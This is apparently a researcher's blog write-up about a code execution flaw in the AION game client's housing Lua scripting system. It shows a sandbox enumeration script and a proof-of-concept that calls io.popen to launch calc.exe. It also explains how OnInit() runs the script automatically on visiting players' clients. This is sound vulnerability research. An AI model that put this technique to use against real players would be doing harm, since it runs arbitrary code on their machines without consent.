This House is Haunted: a decade old RCE in the AION client
How the AION housing scripting system allowed client-side code execution

When I was younger, MMOs were everywhere. World of Warcraft had already taken over the world with millions of players, Lineage II and Runescape had their own massive communities, and when AION launched in 2009 by NCSoft (a South Korean Company) it quickly became one of the most pupulated MMOs, with around 6 millions players in Asia and 1 million in Europe.
But honestly the teenager me never really got into it. My thing was mainly FPS. I’d rather be playing Halo 3 or Call of Duty matches than grinding dungeons and raids.
Few weeks ago tho, some of my friends decided to give AION another go, this time on a private server. For anyone unfamiliar, private servers are unofficial versions of the game run by the community. They invited me to join them, and that’s how I finally ended up in AION.
Except, instead of just playing, I got curious about how things worked behind the scenes, which eventually led me to uncover a vulnerability hidden in the original client itself.
1 The housing system
In version 3.0 (2011), NCSoft introduced the Housing system to AION. Each player could purchase a house and customize it with furniture and decorations.
One particularly interesting part of the system was this NPC:

The butler
This is the Butler. Through the Butler, players could manage their house and, more importantly, access the housing scripting system. With it, players were able to write simple scripts to play sounds or automate actions that would happen inside their house.
The problem? Documentation for this in-game editor was almost non-existent.
I had to experiment and work around its limitations, using trial and error. Fortunately, the game included a few pre-populated scripts, which gave me a starting point to understand how the system worked.

In-game script editor
2 stdout or stdbutler?
Looking at the script source, it was clear that the system was based on some version of Lua. However, it ran inside a sandbox, and many basic functions were unavailable.
One of the pre-loaded example scripts I found was designed to greet each player who entered the NPC’s range. Here’s a simplified version (some parts have been removed for readability):
...
function GetHelloString(desc)
if (helloTable[desc] == nil) then
return desc.."[kvalue:Default greeting;, Hello, dear.;str]";
end
return helloTable[desc][1];
end
function GetHelloSound(desc)
...
end
-- Called on function initialization.
function OnInit()
-- With the SetSensor command, you can customize the distance the butler recognizes a user.
-- The butler recognizes the user inside the radius of the first variable.
-- The butler does not respond if the user is outside the second variable.
-- For the following code, the butler recognizes a user when he/she comes within a 3m radius.
-- Again, the butler does not respond when a user passes a 30m radius.
H.SetSensor(3, 30);
end
-- Calls when a user enters a distance range that the butler can recognize.
function OnUserEntered(desc)
-- With the PlaySound command, options can be set to play music or a label.
-- The first variable is to set channels and the second one sets music score.
-- This line sets 2 labels for channel no. 0.
H.PlaySound(0, "r[1]r[2]");
-- Play the effect sound for the respective visitors.
if (GetHelloSound(desc) ~= nil) then
-- The SetPercussion command is used for customizing sounds.
H.SetPercussion(1, GetHelloSound(desc));
-- "x" refers to SetPercussion, enabling the preset sound.
H.PlaySound(1, "x");
end
-- The butler speaks through a speech bubble.
-- The first variable "2" refers to the label no. [2] in the PlaySound command.
-- Enter the dialog message of the butler in the second variable.
H.Say(2, GetHelloString(desc));
end
The environment turned out to be a sort of Lua sandbox with many functions stripped out. That’s pretty common in games that allow customization like mods or plugins.
For those not familiar, Lua is an interpreted language known for being lightweight and highly extensible. Global variables, functions, etc., live in a global table called _G
.
My idea was to loop through _G
and see what I actually had access to, since again, there’s zero documentation on this system.
At first I tried getting some output using print()
or writing to stderr, but both were disabled. Even though the scripting editor had an output box, I couldn’t figure out how to write to it directly.
The only thing that worked was calling error()
, which does print to the box, but it also returns immediatly, which makes things messy.
While looking through one of the sample scripts bundled with the Butler, I noticed a function called H.Say()
that makes the NPC speak in chat.
That seemed like the perfect way to get output without stopping the execution, so I decided to use it for my enumeration.
Here’s the first script I wrote to dump accessible tables:
...
-- If user select a voice in the menu
function OnMenu(menuNum)
--- If the voice is not 3 (our command) go out
if (menuNum ~= 3) then
return;
end
-- Calling H.PlaySound() is somehow necessary before calling H.Say(), otherwise the NPC won't speak
-- No idea why, I just figured it out with trial and error and reading the pre-existing scripts
H.PlaySound(0, "r[1]");
local env = _G
H.Say(1,"=== DUMPING ".. "_G ===");
local result = ""
-- Iterate the table
for k, v in pairs(env) do
result = result .. tostring(k) .. " = " .. tostring(v) .. "\n"
-- Use butler as stdout
H.Say(1,tostring(k).." = " .. tostring(v));
end
end
And with my great surprise it worked:

He's speaking the language of the interpreter
3 Reaching code execution
Apparently the sandbox is very losely configured and we have access to a lot of functions that allows code execution.
Among those we have: loadstring()
, loadfile()
, load()
.
A partial list is available in this image:Partial list of the tables in _G
There is a very interesting article about memory corruptions in Lua applied in particular to games, which explains why functions like load()
, loadfile()
and loadstring()
are very dangerous.
They allow execution of raw bytecode, which isn’t inherently unsafe, but in Lua versions ≤ 5.1 there are numerous bypasses for memory safety issues and in Lua 5.2 the bytecode verifier was completely removed (source, bypass).
This means we can leak addresses using print()
, or, in our case H.Say()
, write and load bytecode, and trigger memory corruption entirely through built-in functions.
Do do this tho, I would normally need a decent interface to read leaked addresses, edit bytecode, or attach a debugger. However, this client includes an anti-cheat system called [Active Anticheat](https://active-ac.com/ which prevents processes from attaching to the client.
That rules out using gdb
to debug my (very rough) payloads, and although stdbutler
is useful, it would be a pain to debug everything with it, especially with ASLR
in play.
Fortunately we don’t need any of this since the developers forgot to disable the io
package which gives access to io.popen()
allowing us to spawn processes directly.
The final script is really simple but effective:
...
function OnMenu(menuNum)
--- If the voice is not 3 (our command) go out
if (menuNum ~= 3) then
return;
end
io.popen("calc.exe");
end
And just like that we got our calc:
4 Removing interaction
A private server for an MMO usually isn’t official, and there are typically two ways it comes about. Either someone leaks the official sources (or binaries), or someone reverse-engineers the client to figure out how the backend works and builds an emulator themselves, often with a client patch to point to the new backend.
In this case, it’s the second scenario, which gives me fairly high confidence that this exploit would also work on the official client.
Looking at the source of one private server implementation it’s clear that every time a player enters a house, all the scripts contained in that house are sent directly to their client:
public void sendToPlayer(Player player, int houseAddress) {
if (player == null)
return;
SplitList<PlayerScript> scriptSplitList = new DynamicServerPacketBodySplitList<>(Arrays.asList(scripts), false, SM_HOUSE_SCRIPTS.STATIC_BODY_SIZE,
SM_HOUSE_SCRIPTS.DYNAMIC_BODY_PART_SIZE_CALCULATOR);
scriptSplitList.forEach(part -> PacketSendUtility.sendPacket(player, new SM_HOUSE_SCRIPTS(houseAddress, part)));
}
}
This means that is possible to achieve code execution on the client of every player who interact with the Butler. This is cool but how can we trigger it without requiring the interaction?
Looking at the pre-populated scripts there are some functiuons available:
OnMenu()
, which runs when a menu option is selectedOnUserMessage
, which triggers whenever someone sends a chat messageOnInit()
, which runs automatically whenever the script is loaded (which is when a Player enter a House).
We can leverage OnInit()
to execute our payload automatically each time the script is initialized, removing the need for any interaction.
5 Conclusions
As expected, a feature implemented more than a decade ago turned out to be vulnerable to code execution in a surprisingly simple way.
The official AION MMO is still running, but the housing system was completely removed in patch 5.0, around 2016, giving it a potential exploitation window of roughly five years.
In the private server scene, however, the situation is different: most active servers run versions from 3.0 to 4.8, which are still susceptible to this vulnerability.
I’ve always found game exploits fascinating, as they often require deep knowledge of binary exploitation and creative ways to bypass anti-cheat mechanisms.
In the future, I’d like to experiment loading bytecode directly to trigger memory corruptions through the in-house scripting system, though doing so would require bypassing the anti-cheat protections.